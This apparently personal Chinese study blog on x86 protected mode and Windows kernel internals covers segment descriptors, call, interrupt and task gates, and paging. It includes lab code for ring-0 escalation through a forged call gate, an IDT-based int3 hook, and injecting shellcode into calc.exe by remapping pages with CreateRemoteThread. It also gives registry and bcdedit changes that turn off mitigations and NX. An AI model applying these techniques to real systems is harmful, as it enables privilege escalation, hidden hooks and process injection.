保护模式引入-Windows驱动编程一

环境

对于以下理论,不提及环境均是32位操作系统上的;

使用VS系列搭配对应windows版本和SDK,WDK版本进行开发;

这里使用VS2015,win10,SDK和WDK版本10.0.14393(不要用VS2022,写不了32位驱动);

对于驱动环境的搭建在b站有详细的教程;

简略来说,先要搜索WDK,进入其下载界面,找到与之对应windows系统版本的WDK下载,但是不要安装,只是看清楚WDK的版本,下载与之对应的VS版本之后,选择同样版本的SDK下载,最后才安装WDK;

这个流程会帮你省很多不必要的麻烦;

在创建项目的界面此时就会有Driver选项了;

选择 空WDM驱动 模板,进入后删除其中自带的文件,创建一个main.c即可开始编写;

一个具体的驱动模板如下(类似于控制台程序的 int main()):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<ntifs.h>

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{

}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{


pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

需要注意的是,把属性里面的把警告视为错误给关了,不然编译不通过;

当你编译通过,生成了sys文件之后,说明环境没问题了;

对于驱动的双机调试,需要准备一个windows虚拟机,我用到的是win7(x86);

打开虚拟机,用管理员方式打开cmd,输入如下的指令:

1
2
3
4
5
6
bcdedit /copy {current} /d debug    #拷贝当前引导为一个新引导叫做debug 这条指令完之后会获得一个ID
bcdedit /displayorder {id} /addlast #添加到显示
bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200 #给到调试频道
bcdedit /bootdebug {id} ON #开启启动时选择引导
bcdedit /debug {id} ON
bcdedit /timeout 30 #超时

之后重启虚拟机,会发现可以选择debug进入,进入之后会一直卡着黑屏等待连接;

此时关机,在设置中添加一个(串行端口)硬件:

edit

选择使用命名的管道,管道名称输入 //./pipe/com_1 (这个名称可以随便com_1 com_2都行);

把打印机硬件给移除掉,因为它会占用端口;

这个时候找到你下载的WDK里面的windbg.exe,在Windows Kits文件夹里;

新建一个bat文件,编辑内容为如下:

1
cmd /k "D:\Windows Kits\10\Debuggers\x64\windbg.exe" -y SRV*D:\symbol*http://msdl.microsoft.com/download/symbols -b -k com:port=//./pipe/com_1,baud=115200,pipe

windbg路径填入自己对应的就行,要说明以下两条:

1
2
com:port=//./pipe/com_1,baud=115200,pipe #对应的管道名称要一样和vm里设置的
SRV*D:\symbol*http://msdl.microsoft.com/download/symbols #这里是D盘,可以设置其他的盘,它会从网上下载symbol到这个盘的symbol文件夹下

此时打开这个bat文件,就可以开始调试win7了;

和VS调试一样,用F9断点,F10步过,F11步入进行;

当断下点的时候,可以发现虚拟机win7动不了,冻住了,就说明挂载连接成功,可以进行调试;

保护模式

这里是从80386架构引申出来的理论:

实模式是在实地址上进行的,位长16,没有虚拟内存,虚拟地址的说法,一切都在物理地址上进行寻址;

寻址公式:
$$
段地址 × 10h + 逻辑地址(偏移) == 线性地址(实际物理地址)
$$
例如一条指令如下:

1
2
mov ax, word ptr ds:[0x15555]
ds = 2000h

那么实际上ax给到的值是 2000 * 10 + 15555 = 35555h地址里面的;

这个模式并不安全,在其他进程里,只要知晓内核代码区域的段地址,就可以访问它的内存;

所以引出了保护模式;

保护模式在实模式的基础上增加了位长为32,同时引入虚拟地址的概念,即每个进程都是40W起始,但进程A的40W存放的东西和进程B的40W存放的地址并不相同,同时引入段页机制;

要经过一系列多级页表,缓存快表的查询最终拿到A进程40W地址的真正物理地址,在物理地址上,一个进程很可能是离散存储的;

这是内存页的概念;在windows中也有快表和页命中的机制,换出到磁盘上的页,一般在C盘的pagefile里;

对于段的解释,则是进程对于不同部分,权限的划分;

要玩转计算机,就要学好页和段的机制,如同想要pwn好,就要学好linux堆栈的机制一样;

补充知识:CISC架构页一般4k,RISC架构页一般2k;

CISC和RISC还有不同的地方在于耗电量和脉冲频率,前者会大于后者,所以跑的快;

引入和介绍

在32位保护模式下,段寄存器存的并不是一个实际地址,不遵守上面的规则,实则是一个表的索引;

当段寄存器通过表拿到基址之后,才遵守寻址规则,此时的(段地址*0x10)就相当于基址,但计算得到的仍然是虚拟地址,通过页表才能拿到物理地址;

所以在保护模式下的段这个概念,实际上都是虚拟的,只是和权限挂钩;

下图为段选择符(段选择子):

段选择符

比如ds,此时存放的值为0x2b,将其转换为二进制 00000000 00101011

那么按照上述段选择符的描述进行查看: 0000000000101 0 11

此时RPL为11,代表请求权限;

TI此时为0,代表要访问的表,其中有GDT和LDT,一个是全局描述表,一个是局部描述表,一般而言都是用的GDT;

101对应10进制为:5,查找GDT表的第五项;

在windbg里,有一个命令可以查看gdt:

1
r gdtr

执行后能获取gdt的地址,使用dq dd查看gdt地址的存放数据,可以拿到表项内容;

对于表项的修改可以用 eq ed进行修改;

我们直接拿windbg获取的gdt表内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dqs fffff80259e7dfb0  
fffff802`59e7dfb0 00000000`00000000 //这是表的第0项,是个数组
fffff802`59e7dfb8 00000000`00000000
fffff802`59e7dfc0 00209b00`00000000
fffff802`59e7dfc8 00409300`00000000
fffff802`59e7dfd0 00cffb00`0000ffff
fffff802`59e7dfd8 00cff300`0000ffff //表的第5项,ds指向的地方
fffff802`59e7dfe0 0020fb00`00000000
fffff802`59e7dfe8 00000000`00000000
fffff802`59e7dff0 59008be7`c0000067
fffff802`59e7dff8 00000000`fffff802
fffff802`59e7e000 0040f300`00003c00
fffff802`59e7e008 00000000`00000000
fffff802`59e7e010 00000000`00000000
fffff802`59e7e018 00000000`00000000
fffff802`59e7e020 00000000`00000000
fffff802`59e7e028 00000000`00000000

表中每个成员占8字节;

这些成员实际上叫做段描述符:
段描述符

00cff300`0000ffff

其中Segment Limit是限长,允许逻辑地址访问的最大长度,在这里是ffff

Seg Limit 19:16是作为Segment Limit的高位补充,所以Segment Limit整体是f ffff

Base Address是基址,这里是 0000

同时,Base 31:24和23:16是作为Base Address的高位补充,即Base Address整体应该是00 00 0000;

那现在就剩下c f3这12bit了;

举个例子,有如下代码:

1
mov eax,dword ptr ds:[0x12345678]

实际上是把基址0 + 0x12345678得到的地址的内容给到了eax;

而如果ds:[]括号里面的数据大于了4G,就会异常中断;

将所有数据对应翻译如下:


limit:fffff 20位,从0开始算(如果是0,则限长为1)

base:00000000 基址为0

type:3 段的权限!

s:1

DPL:3

P(有效位):1

AVL(保留字):0

L:0 默认为0

D/B:1

G(粒度):1 这个地方为1,limit以页为单位,否则以字节为单位,此时这个段管理4G内存(limit 4G)


type图

以上是type数值对应段的权限;

可以看到上面每隔一个描述,都会有一个accessed,它代表这个段被使用过;

如果将gdt一个成员设置为type:2,再给到ds这个成员,这个时候,2会+1变成3;

对于expand-down,叫做向下生长,即base和limit之间的区域变成不可访问(无权限)的状态,而其他没有包含的内存(4G中的其他地方)可以访问(和不带expand-down相反,不带的称作向上生长);

对于conforming(一致)描述是用于纯段模式下,应用层可以直接调用cs描述的代码段(内核);

当写内容到没有写权限的段时,就会发生异常中断;

从上述内容可以总结得到的信息为:需要遵守段的限长,读写权限,以及段寄存器寻表项,base是什么的内容;

对于更改cs的补充:可以直接更改ds,es,但是不允许直接更改cs,可以通过jmp进行间接更改:

1
jmp far 0x4b:address

它会跳转后将cs更改为0x4b,称为跨段跳转,不提权;

在win10上貌似不能用这样的方法改动cs?(为什么呢?)

也可以使用call:

1
call far 0x4b:address

这个时候栈里会压入旧的CS值,以及返回地址;

栈结构:

eip
cs

在内联汇编中还不能直接写call一个立即数,需要用到一个数组:

1
2
3
4
5
6
7
8
9
//32位
BYTE buff[6] = {0,0,0,0,0x4b,0};
((int*)buff)[0] = address;
__asm
{
jmp far buff
//等效于call fword ptr buff
call far buff //使用retf返回以平衡栈
}

D/B

对于每个段描述不同;

对于cs而言,d/b为0,在32位下,默认操作数为16位,否则为32位;

举例:

1
push 12

上述操作会将esp-4,但当cs的d/b为0时,只会让esp-2;

对于ss而言,d/b为0,在32位下,栈寻址会变为16位,否则为32位;

相当于使用sp寻址(两字节地址),而不是esp;

作用在普通的code段上(ds,es),d/b是0是1都无所谓,没有改变;

DPL

全称:描述权限等级;

代表这个段描述符的权限;一般只有0和3的数值,代表的是0环权限和3环权限;

当CS段和SS段同时DPL为3时,代表程序跑在应用层,同时为0时,代表程序跑在内核层;

补充CPL:当前权限等级,即CS段的DPL;

RPL:在之前的段选择子里出现过,后三位,代表请求权限等级,例如DS为2b,RPL为3,那么就是以3环身份请求访问这段段的内存空间;

在普通数据段下(DS,ES),RPL是无所谓的,没有效果的,但在SS上RPL一定要和DPL,CPL对应相同,不然就会G掉;

对于CS段,RPL也是无所谓的,只需要DPL和CPL对应相同;

调用门

之前在段节里讲的都是一般的代码段和数据段,当s位为1时是如此,但当s位为0时,此时变成系统段,type含义发生变化,具体type内容如下所示:

type

当s为0,type为c时,此时这个段被描述为调用门;

描述符发生变化如下:

call gate

首先,P,DPL,Type的概念不变,后面三个0是默认为0,后面5字节是代表有多少个参数入栈,Segment Selector是新的cs的值,offset则是要去地址的偏移(逻辑地址),加上的base是新给到的cs里面的,而不是当前的cs的base;

进入调入门后,更改cs的同时,会同步更改ss的值为cs的下一个项

要进入调用门也需要使得DPL和当前cs和ss的DPL值一样;

所以它的意思是,当进入调用门时,进行跨段跳转(call),可提权,如要提权则构造两个段描述符,其DPL为0,分别给到cs和ss就行;

如果提权了,FS寄存器里的值会变化,所以进入r0时,需要保存fs的值(int 3的问题);

进入r0,栈也会发生变化,变成r0的栈,其中存的有返回地址,旧的cs,ss值,旧的栈的esp值;

而r3的原本栈并不会发生改变;

栈结构:

eip
cs
参数
esp
ss

要使用调用门,则将cs的值改为调用门就行,但是需要更改注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management的下面两个值:

FeatureSettingsOverrideMask和FeatureSettingsOverride都改为3;

不然使用调用门就会G掉;

一个问题:为什么使用跨段跳跃直接跳到DPL为0的段修改不行呢?

答:DPL需要等于当前CPL!所以需要借助调用门进行提权;

提权小实验

查看gdtr如下:

1
2
3
4
5
6
7
8
9
10
1: kd> dq 80b99000
ReadVirtual: 80b99000 not properly sign extended
80b99000 00000000`00000000 00cf9b00`0000ffff
80b99010 00cf9300`0000ffff 00cffb00`0000ffff
80b99020 00cff300`0000ffff 80008b1e`400020ab
80b99030 834093f7`9c003748 0040f300`00000fff
80b99040 0000f200`0400ffff 00000000`00000000
80b99050 830089f7`70000068 830089f7`70680068
80b99060 00000000`00000000 00000000`00000000
80b99070 800092b9`900003ff 00000000`00000000

可以通过调试发现,应用程序在运行时,CS为1b,SS为23;

分别对应这张表里的3,4项;

可以发现这张表里的1,2项和3,4项是类似的,只是它们的DPL都为0,而3,4项的DPL都为3;

所以可以通过调用门将CS的值改到1项,SS自动设为2项;

构造调用门结构:

1
2
3
4
首先我们要跳转的地址为函数test:(401000h 关闭随机化地址)
那么结构如: 0040xxxx`xxxx1000
要改到的cs值为第1项,也就是0b: 0040xxxx`000b1000
没有参数,且P为1,DPL为3,S为0,type为C:0040ec00`000b1000

将其复制到4b(第9项)位置;

1
80b99040  0000f200`0400ffff 0040ec00`000b1000

那么只需要通过跨段跳转去访问调用门就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<Windows.h>
#include<iostream>

int g_1 = 0;
void _declspec(naked) test()
{
__asm
{
mov eax, dword ptr ds:[0x80b99014]
mov g_1, eax
retf
}
}

int main()
{
BYTE buff[6] = {0,0,0,0,0x4b,0};
printf("%p \n",test); //401000
//printf("%p \n",*(int*)(0x80b99010)); //直接访问异常
__asm
{
push fs
call fword ptr buff //跨段跳跃
pop fs
}
printf("%x \n",g_1); //进入test后访问的结果 cf9300
system("pause");
return 0;
}

可以了解的到,在test里的操作都是r0级别的,使用的栈也是另一个栈,不是原本进程的栈;

同时只能用call提权,jmp无法提权,原因是当jmp访问调用门时,不会去改cs,ss(机器内部设定);

中断门

除了GDT,还有一个IDT,叫中断表;

中断表中存放的是中断门描述符;

如下是中断门的描述符:

int

type中的D的意思是,在16位系统中为0,32位往上为1,所以type是e,s还是0;

而其中段选择子,查找的依然是gdt;

偏移指向的地址即为中断处理函数;

通过int index去触发对应idt的表项的中断门,进入中断函数进行处理,同时权限更改为段选择子;

那就可以自拟函数入口,段选择子改作r0级别进行如调用门一样的提权;

注意,此时要使用 iretd 进行返回平衡栈,而不是retf;

iretd实际上是做了一步sti的操作去改写了eflags的if位,同时解除阻塞;

如果直接用retf返回,由于没有改写if位,在内核源码中会进行对这个位的比较,比较不为1就会进入蓝屏;

同时不能直接在r3使用popfd去修改eflags,因为进入后会if自动设置为0;

总结:中断门进入后,会将eflags改为2(if位为0),以我的理解是为了避免中断里面又出中断,所以返回时会恢复if位;

所以在中断门里,其他中断会被阻塞,比如缺页中断;

和中断门类似的陷阱门进入后eflags为202,也就是if位为1;

那实际上中断门进入是清空eflags的VM NT IF TF位,陷阱门少一个IF位;

陷阱门的结构和中断门一样,只是type为f!也是通过ldt进入,int触发;

所以中断门是阻塞的,陷阱门是不阻塞的,原因是中断由外部设备请求,陷阱是程序自发;

在处理函数中的栈结构(r0中的栈)如下:

eip
cs
eflags
esp
ss

补充获取表姿势:

32位下四个指令:

sgdt sidt获取,获取的内容是一个6字节结构,前两字节为表长,后4字节为表的地址,r3下即可使用;

lgdt lidt改写,改变表的位置,r0下才可以调用;

INT3_HOOK

一个基于中断门机制的hook小实验;

注意!只有在win32上有效,而且很没有什么实际用处(个人认为,因为会导致其他地方的int3出问题,只有自己进程的有用);

我们知道了对于int调用,实际上就是查idt表;

那么int3实际上调用的就是idt表第三项的函数,同时改段属性;

对于INT3_HOOK的本质,就是不去更改描述符中的函数地址,而去改描述符里的段属性;

使得进入int3调用的时候,依然使用原地址寻址,但是加上我们自己构造的base值,跳转到相应的hook函数,再jmp回原本的int3地址;

这样做的好处?根据我的理解实际上在做的时候,应该是自己构造一个伪gdt,而不是去动int3的段选择子;

这样才能保证ldt原封不动没去修改,被检测到hook的可能降低;

但是请注意,由于intel的CPU有两个个特性:流水线和预测,根据我的理解,它会把取地址,译码,取数据,以及预测后续地址分开进行;

那么会出现一种情况:当我们跳转到hook函数时,这个时候的cs段的base不是0,那么在后续预测时取到新的地址块(一块一块取地址,一一条一条这么寻址效率太低),它的寻址方式就会用那个地方的eip + base,相当于取到的代码都飞远了,译码也是用的这些远处的代码,自然会崩溃,像是有一个缓冲代码区,会把预测的代码提前取到缓冲区进行预测,取数据,只有进行大跳转的时候,或者到了该取新地址块的数据的时候,这个缓冲区才会刷新,刷新的同时会进行寻址;

所以当我们进入hook函数的时候,就应该直接跨段跳转走,跨到base为0的段上去正确执行我们的代码;

思路是:

  1. 构造gdt一个新的描述符属性为我们自己定义的段去进行hook函数的跳转;
  2. 那实际上进入r0,需要ss段一起更改,所以还需要写一个ss段的描述符在新描述符的后面;
  3. 修改int3处的段选择子为新段;
  4. 进入中断门后进行cs跨段跳转为base0;
  5. hook功能实现;
  6. 跳转回原int3执行;

获取gdt和idt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1: kd> r gdtr
gdtr=807d2c20
1: kd> dq 807d2c20
ReadVirtual: 807d2c20 not properly sign extended
807d2c20 00000000`00000000 00cf9b00`0000ffff
807d2c30 00cf9300`0000ffff 00cffb00`0000ffff
807d2c40 00cff300`0000ffff 80008b7c`d75020ab
807d2c50 8040937c`a0003748 7f40f3fd`f0004000
807d2c60 0000f200`0400ffff 00000000`00000000
807d2c70 8000897c`fac00068 8000897c`fb300068
807d2c80 00000000`00000000 00000000`00000000
807d2c90 800092b9`900003ff 00000000`00000000

1: kd> r idtr
idtr=807d3020
1: kd> dq 807d3020
ReadVirtual: 807d3020 not properly sign extended
807d3020 83e48e00`0008c200 83e48e00`0008c390
807d3030 00008500`00580000 83e4ee00`0008c800
807d3040 83e4ee00`0008c988 83e48e00`0008cae8
807d3050 83e48e00`0008cc5c 83e48e00`0008d258
807d3060 00008500`00500000 83e48e00`0008d6b8
807d3070 83e48e00`0008d7dc 83e48e00`0008d91c
807d3080 83e48e00`0008db7c 83e48e00`0008de6c
807d3090 83e48e00`0008e51c 83e48e00`0008e8d0

我会选择修改int3描述符为:

1
int3:83e4ee00`0008c800 -> 83e4ee00`0060c800

并在gdt 60的地方,也就是807d2c80的地方,写上cs段描述符和ss段描述符(r0权限):

1
7ccf9b5b`4800ffff 00cf9300`0000ffff

这里base设定为了7c5b4800,因为7c5b4800+83e4c800 = 401000,是我们hook函数的地址;

使用windbg查找内核函数DbgPrint,我们在实现功能处打印一个字符串,以表示hook成功:

1
2
3
4
5
6
7
8
9
10
0: kd> u nt!DbgPrint
nt!DbgPrint:
83e09271 8bff mov edi,edi
83e09273 55 push ebp
83e09274 8bec mov ebp,esp
83e09276 51 push ecx
83e09277 6a01 push 1
83e09279 8d450c lea eax,[ebp+0Ch]
83e0927c 50 push eax
83e0927d ff7508 push dword ptr [ebp+8]

拿到内核函数地址:0x83e09271

接下来就是代码实现了,当我们修改完gdt和idt之后,利用进程去实现hook:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//vs2008模板
#include "stdafx.h"
#include <Windows.h>

typedef ULONG (__cdecl *DbgPrintProc)(PCSTR Format,...);
DbgPrintProc DbgPrint = NULL;

char* seco = NULL;

//未开启基址随机,默认为401000
void _declspec(naked) myHook()
{
__asm
{
push 0x8
push tiaoban
jmp fword ptr [esp] //进行跨段跳转,第四步,跳到08段
tiaoban:
add esp, 8

pushad
pushfd
push fs
push 0x30 //内核环境,不然调用内核函数有问题
pop fs

//实现逻辑,第五步
push seco
call DbgPrint
add esp, 4

pop fs
popfd
popad
mov dword ptr ss:[esp-4], 0x83e4c800 //转入原int3处理函数,第六步
jmp dword ptr ss:[esp-4]
}
}

int _tmain(int argc, _TCHAR* argv[])
{
printf("执行地址: %p\n",myHook);

//使用malloc获取为了防止ds数据段上的缺页中断
seco = (char *)malloc(10*sizeof(char));
memcpy(seco,"SecondBC\x0a\x00",10);
//之前拿到的内核函数
DbgPrint = (DbgPrintProc)0x83e09271;

system("pause");
__asm
{
int 3
}
system("pause");
return 0;
}

当激活int3时,就会进入myHook函数,之后进行打印字符串,然后转入真正的int3执行它的代码;

需要注意的是,windbg并不会显示打印出来的字符,需要使用

1
.ofilter "内容"

去设置过滤规则,它是完全匹配的,少一个字节都不给你回显(回车键\x0a)!

设置好之后,一定要去生成好的文件执行,不要通过vs的调试模块执行,为什么呢?

因为调试模块执行会给我们自动下int3断点,但是它的进程的401000不是一个有效的函数,所以会直接蓝屏!

执行的效果如图:

int3hook

可以看到windbg成功带出字符串,证明hook成功;

纠错:但经过这个实验可以发现ss实际上还是被设置为了10,也就是默认的r0 ss段!并不是设定cs段的后一项?

实际上是因为32位系统会取tr任务段里面的ss保存值,进行r0切换,对于syscall一类的系统调用会是cs的后一项值;

任务段&门

在64位中,任务段用的特别少,几乎不用做其原本功能;

补充windbg操作指令:

dg 0000h 解析段选择子选择的段描述符;

dt 模块!名称(可搭配正则表达) 查找符号对应地址;

!process 0 0,进行遍历操作系统上的所有进程;

在寄存器中,也有一个寄存器专门存放任务段,在windbg里面叫做 tr ;

存放的则是任务段的段选择子;

任务段的功能则是保存任务段结构,切换任务段则切换任务段结构;

如下为任务段结构:

task1

实际上就是切换寄存器环境,所以一个任务,相当于一个线程;

但是操作系统为了不和CPU硬件的功能设计捆绑在一起,所以虚拟了线程的概念,而没有实际直接运用任务的概念;

Previous Task Link存放的是旧的任务段选择子的值,ESP0,ESP1的意思是0环的栈,1环的栈;

每个环都有不同的栈;

LDT指的是LDT的段选择子;

任务段描述符:

task2

其中就存放了任务段结构的地址(base属性),type里的b,指的是busy,如果是可用的(available)则是0,如果是正在用的(busy),则是1;

任务段也是放在gdt表,使用call或者jmp都可以跨段并切换环境(任务段结构),同时jmp也只能用在这里提权;

用这种方法切换任务,会使得当前eflags的NT位(嵌套任务)置1;

iretd执行的时候会先检测NT位,如果为0,则按照栈存方式恢复寄存器;

如果是1,会按照Previous Task Link保存的内容进行恢复返回;

之前的调用门,中断门进入的时候,实际上就是在当前任务段结构的esp0,和ss0上进行找值更改,但是并不会改变tr;

任务门描述符如下:

task_gate

它只有一个属性:任务段选择子;P DPL S也是e(1110),type为5;

在32位下,一般放在int8的位置(idt表),通过int激活进入门,效果和call任务段一样的,都是切换寄存器环境;

但有一点,因为它是在中断表里的,所以会有中断门的性质,比如VM IF TF的清空,但会把NT位置1,原因前面说过了;

引入和介绍

win32下的分页模式一般有两种,一种为101012模式,一种为29912模式;

后者有个特征便是进程的CR3是按20h隔开的,win7默认就是;

要在win7上配置101012模式分页的步骤如下:

首先也是创建一个新的引导,步骤如环境节里所述;

之后用管理员权限打开cmd,输入如下指令:

1
2
bcdedit /set pae ForceDisable #强制关闭pae
bcdedit /set nx AlwaysOff

之后查看cr3以确认是否配置环境成功;

在system32目录下,有两个内核文件:

ntkrnlpa.exe和ntoskrnl.exe;在system32/driver里的驱动文件,其模块就包含有ntoskrnl;

这两个文件是分页用到的文件,前者对应29912,后者对应101012;

模块不会包含ntkrnlpa,但是如果模式是29912,依然用的是ntkrnlpa里面的内容,就和kernel32和kernelbase的关系类似;

已知保护模式下用的是虚拟地址,如何得到物理地址?

页表寻址

要使用到操作系统课上讲的页表机制;

101012模式指的就是10位 10位 12位;

虚拟地址32位按照上述规则进行划分,12位代表页内偏移,中间10位代表页表项(PTE),高10位代表页目录项(PDE);

实际上可以理解为两级页表,为了实现页表的切入切出和离散存储(因为页表也比较大),所以才有的二级页表(页目录);

每个进程都有一个cr3寄存器,里面存的值是一个物理地址;

这个物理内存就是二级页表,通过这个二级页表进行虚拟地址的查询方式,进而获得虚拟地址对应的物理地址;

页表存的都是指针,但是后12位代表属性,不做为地址使用;

注意,在windbg里面查看物理地址,需要带感叹号!dd;

二级页表

具体寻址算法为:

一级页表地址 = ((DWORD*)cr3值(二级页表))[虚拟地址高10位] (高10位是个索引,不是偏移)

对应内存块地址 = ((DWORD*)一级页表)[虚拟地址中10位] (中10位代表页号,也是索引)

真实物理地址 = 内存块地址 + 页内偏移

需要注意的是,101012分页模式页表存储的直接就是地址,不是内存块号,不要换算;

上面就可以解释,为什么同样的40W地址能拿到不同的内存内容,因为cr3(二级页表)不一样啊,对应的一级页表也不一样;

对于CPU而言,里面有如下内容:MMU单元,TLB快表,页表缓存,L1,L2,L3缓存;

MMU单元就是负责页表寻址的,其基本功能就是一个输入cr3和虚拟地址输出一个数据的函数;

一开始寻址的时候会直接拿高20位去TLB里面找缓存,如果找到了,就会得到一个内存块号,接着拿到L1~3中去继续找对应存储数据内容,找不到就开始拆虚拟地址;

当把高10位拆出去之后,把中10位(一级页号)拿到页表缓存中去找,也是一个道理,如果找到了,就会得到一个内存块号,接着拿到L1~3中去继续找对应存储数据内容,找不到就继续拆虚拟地址;

当拆到底以后,计算出物理页(内存块),就会拿到L1~L3去找,还找不到?

还找不到就计算板卡地址,到内存条上去寻址;

当取到数据以后,会把数据对应的内存块,一级页号,二级页号,依次写回缓存中去,方便下次快速查找;

对于L1~L3的关系,则是经过一段指令周期以后,L1往L2写内容,L2往L3写内容,L3往内存条写内容,L1则是由内存上取到数据以后进行写回;

实际上L缓存的结构像是一个二维数组;

假设L1~L3属性如下:

L缓存

实际上L1分成了两部分,一部分是D(数据),一部分是I(指令);

以L2作为例子,总大小为256KB,每一行有64B,相当于有(256*1024)/64 = 4096行;

L2有4路,代表的意思是将4096分成四份,每一份拥有4096 /4 = 1024行;

相当于每一份拥有1024*64 = 64KB,在CPU内部的算法将L2内容写回L1时,或者写到L3时就是按照64KB为一次来的(分块写);

页表项属性

pagec

PDE和PTE分别对应二级页表,一级页表,他们的后12位都是属性值,因为它们都按1000h对齐,所以后12位空闲可用;

p,有效位,为0是无效;

R/W,读写位,为0只读,为1可写;

U/S,权限位,为1是r3,为0是r0,和之前讲到的s一样;

PWT,PCD,PAT与缓存相关;

A,访问位,访问过就置1;

D位是修改位,被写过就置1,二级页表(PDE)的始终为0;

PDE的PS位是大页位;

G,全局页;

avail,给操作系统预留;

补充知识点:

就算是这里算出来的物理地址,其实都只是L1~L3缓存的一个索引,并不是内存条上的地址,内存条上的地址叫板卡地址;

实际上访问L1,L2,L3也是通过访问其每一行的哈希值进行读写的,并不会直接使用物理地址;

虚拟内存换进换出的操作,使得没有使用的新分配内存空间不会获得物理页,也就没有页表项,内存的释放其实也是对页表项的释放;

当程序访问到页表时发生缺页中断,自行修复,恢复页表项和对应物理页(比如memset函数);

挂页实验

我们已然知晓页的机制,那么是否可以替换别的进程的0地址(虚拟地址)为我们自己分配的页地址(物理地址),以执行我们的壳代码呢?

答案是可以的,在这个实验中修改目标进程的二级页表依然会用到windbg,目前还无法脱离windbg进行修改;

同时会用到OpenProcess查找目标进程,CreateRemoteThread创建远程线程去主动执行壳代码;

补充个小知识点:堆区不属于任何一个段,而且在现代操作系统中,保护模式下,段其实都是一个概念,没有真的用到偏移计算这种东西,只是一个权限划分罢了,基本上都是靠分页机制来进行对内存权限的管理和分配,又因为101012分页模式,导致一个问题则是什么页都可以有执行的权限;

代码脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
//第一步 shellcode call MessageBoxA
BYTE shellcode[] = {0x6a,0x00,0x6a,0x00,0x6a,0x00,0x6a,0x00,
0xb8,0x00,0x00,0x00,0x00,0xff,0xd0,0xc3};
*(DWORD*)(&(shellcode[9])) = (DWORD)MessageBoxA;
BYTE* mem = (BYTE*)malloc(sizeof(BYTE)*0x1000);
memcpy(mem,&shellcode,sizeof(shellcode));
//获取mem的虚拟地址,以找到物理地址
printf("mem: %p\n",mem);

//第二步 挂进程 calc pid 3476
system("pause");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,3476);
//虚拟地址为0x4b0执行,malloc有页内偏移4b0
HANDLE hThread = CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)0x4b0,0,0,0);
CloseHandle(hThread);
CloseHandle(hProcess);

system("pause");
return 0;
}

首先启动这个脚本,它会停到第二步,这个时候mem的地址依然打印出,且每次打印的页内偏移都是4b0;

此时远程线程的虚拟地址为4b0,第一次和第二次页表都是0项,所以到calc进程的二级页表0项里面的0项给改成通过mem找到的物理页即可;

又因为偏移相同,所以可以通过4b0虚拟地址找到相同的内存空间;

再次回车执行远程线程,此时可以发现calc弹窗了;相当于calc进程执行了我们这个进程的一个函数!

页管理

对于101012模式,一个进程有1024(2的十次方)个PDE和PTE(二级页表项和一级页表项),每一项都是存放4字节指针的,所以一个进程的页表一共就有4MB大小;

又因为高地址2G共享,每个进程的页表有2MB都一样;

同时在虚拟内存的高2个G内存中,是内核内存,其中有4MB就是专门用来管理当前进程的页表的;

在ntoskrnl文件中的一些操作就是对这个区域展开的;

在101012模式下,操作系统设定的当前进程PDT(二级页表)位于 c0300000,PTT(一级页表)位于 c0000000(定死了,它们永远都是这个);

在ntoskrnl文件中进行物理寻址的时候,利用的则是这两个基址,因为ntoskrnl文件不能直接使用物理地址,也需要虚拟地址;

因为ntoskrnl文件也是一个软件,尽管它是专门用于页表处理的;

当操作系统本身进行页处理的时候,会通过这两个基址进行CPU intel架构的计算,从而拿到物理页地址(映射关系);

一个技巧:

  • 由于操作系统使用了虚拟地址来管理两个页表,那么可以通过实际CPU intel规定的页表寻址方法对 c0300000进行寻址(这个虚拟地址是否和cr3二级页表物理地址一一对应呢?),拿到的就肯定是cr3的值,也就是PDT(二级页表)对应的物理地址;
  • 对c0300000拆分,则是 300 300 000;
  • 已知当前进程的二级页表基址为c0300000,那么c0300000 + 300*4 = c0300c00,这个地方存的值实际上就是cr3;
  • 拿到这个值再次运算! cr3 + 300*4 = c0300c00(虚拟地址依然是这个);
  • 取页内偏移: c0300c00+0 = c0300c00;
  • 所以 c0300c00 存的就是当前进程的cr3值!
  • 这样就可以不访问cr3而获取cr3的值(32位下绕过VT);

如图所示:

环

这是一个环; 101012模式下,cr3+c00即可拿到本身;

29912模式

101012模式是位于32根地址总线的分页模式产物;

对于内存的不够使用,CPU架构引出了36根地址总线的分页模式:29912,使用的技术叫pae技术;

它的地址继承了原本的4字节长度地址,线性地址没有突破,还是32位;

但是由于物理内存(不是内存条)大小此时是2的36次方,64G,所以二级页表,一级页表的表项有了增多;

原先的表项是4个字节,一个页内存1024项,现在的表项是8个字节,一个页内存512项;

相当于也是管理4G内存,但是使用的页表总计为:
$$
4512512*8 = 8MB
$$
总共8MB;

分页模式相当于多了一个页表,变成了三级;

2 9 9 12的模式,计算规则同上,只不过项索引需要乘8,因为每项占8字节;

在29912模式下,虚拟基址是c0600000(PDT二级页表)和c0000000(PTT一级页表),可以从ntkrnlpa.exe中获取;

在进程内,只需要使用这两张表,不需要用到第三级页表,第三级页表的表项属性不影响最终的结果,依然是看两级,一级的页表项属性;

但是从cr3开始找是算三级页表的;

多出来的内存不是用于进程,而是供给键盘,等usb设备使用;

由于101012模式下,所有内存都有可执行权;

所以在29912以后,都在页属性(PDE,PTE结构)的最高位位置,新设了一位XD(NX)来进行执行权的约束,为1不可执行;

在此模式下,malloc申请的空间就不可以直接执行了;

这是DEP保护的本质;

缓存

在页表属性的时候,提到了三个位和缓存有关:PWT,PCD,PAT;

